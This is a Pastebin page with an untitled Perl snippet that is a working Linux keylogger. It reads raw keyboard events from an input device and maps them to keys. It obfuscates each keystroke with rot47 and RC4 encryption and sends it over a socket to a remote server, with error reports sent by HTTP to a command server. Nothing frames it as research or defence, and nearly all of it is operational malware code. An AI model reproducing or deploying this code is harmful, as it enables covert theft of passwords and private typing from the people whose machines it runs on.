Advertisement
Guest User

Untitled

a guest
Sep 25th, 2017
65
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.45 KB | None | 0 0
  1. sub SendMessage{ my ($hostpath, $tag, $msg) = @_; my $ua = LWP::UserAgent->newEx; $ua->timeout(100);
  2. my $url = "$hostpath?gcmd=1&name=$tag&msg=$msg"; my $response = $ua->get($url); }
  3. #############################################################
  4. @keyboard = (   # virtual keyboard
  5. #q      w   e       r       t   y       u   i       o   p       [   ]       return  left control
  6. 0x071, 0x077, 0x065, 0x072, 0x074, 0x079, 0x075, 0x069, 0x06f, 0x070, 0x05b, 0x05d, 0xff0d, 0xffe3,
  7. #a      s       d   f       g   h       j   k       l   ;       '       `   L_Shift backslash
  8. 0x061, 0x073, 0x064, 0x066, 0x067, 0x068, 0x06a, 0x06b, 0x06c, 0x03b, 0x027, 0x060, 0xffe1, 0x05c,
  9. #z      x       c   v       b   n       m   ,       .   /   R_Shift escape
  10. 0x07a, 0x078, 0x063, 0x076, 0x062, 0x06e, 0x06d, 0x02c, 0x02e, 0x02f, 0xffe2, 0xff1b,
  11. # 1     2       3   4       5   6       7   8       9   10      -   =   backspace   tab
  12. 0x031, 0x032, 0x033, 0x034, 0x035, 0x036, 0x037, 0x038, 0x039, 0x030, 0x02d, 0x03d, 0xff08, 0xff09,
  13. );
  14.  
  15. %Keys = (
  16. 'a' => 0x061, 'b' => 0x062, 'c' => 0x063, 'd' => 0x064, 'e' => 0x065, 'f' => 0x066,
  17. 'g' => 0x067, 'h' => 0x068, 'i' => 0x069, 'j' => 0x06a, 'k' => 0x06b, 'l' => 0x06c,
  18. 'm' => 0x06d, 'n' => 0x06e, 'o' => 0x06f, 'p' => 0x070, 'q' => 0x071, 'r' => 0x072,
  19. 's' => 0x073, 't' => 0x074, 'u' => 0x075, 'v' => 0x076, 'w' => 0x077, 'x' => 0x078,
  20. 'y' => 0x079, 'z' => 0x07a,
  21. '0' => 0x030, '1' => 0x031, '2 / [ SPACE ]' => 0x032, '3' => 0x033, '4' => 0x034, '5' => 0x035,
  22. '6' => 0x036, '7' => 0x037, '8' => 0x038,'9' => 0x039,
  23. 'Shift_R' => 0xffe2, ',' => 0x02c, '.' => 0x02e, '/' => 0x02f,
  24. ';' => 0x03b, '\'' => 0x027, '[' => 0x05b, ']' => 0x05d,
  25. '-' => 0x02d, '=' => 0x03d,'\\' => 0x05c,'[ RETURN ]' => 0xff0d, '[ BACKSPACE ]' => 0xff08,
  26. '[ CAPS_LOCK ]' => 0xffe5,   '[ CONTROL_L ]' => 0xffe3,'[ SUPER_L ]' => 0xffeb,'[ ESC ]' => 0xff1b,
  27. '`' => 0x060, '[ SHIFT_L ]' => 0xffe1,  '[ TAB ]' => 0xff09,
  28. );
  29.  
  30. sub logKeys {   # keylogger stuff
  31. my( $SEND_PORT, $server_host, $pass) = @_;
  32. open(FILE,"/dev/input/event5");
  33. while(1){
  34. read(FILE,$b,96);
  35. $key_nr = @keyboard[ord(substr($b,60,1))-16];
  36. foreach my $key  (keys %Keys){
  37. my $key_compare = $Keys{$key};
  38.         if($key_compare == $key_nr){
  39.         print ("$key -> numeric: $key_nr \n");
  40.         my $sock3 = IO::Socket::INET->new(Proto => $proto,
  41.                 PeerPort  => $SEND_PORT, PeerAddr  => $server_host) or SendMessage($homeserver, $tag_send, "Creating+socket+error!");
  42.         my $encoded0 = rot47("Key: $key");
  43.         my $encRC4 = RC4( $pass, $encoded0 );
  44.         $sock3->send("$encRC4") or SendMessage($homeserver, $tag_send, "Could+not+send+key!");
  45.         last;
  46.             }
  47.         }
  48.     }
  49. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement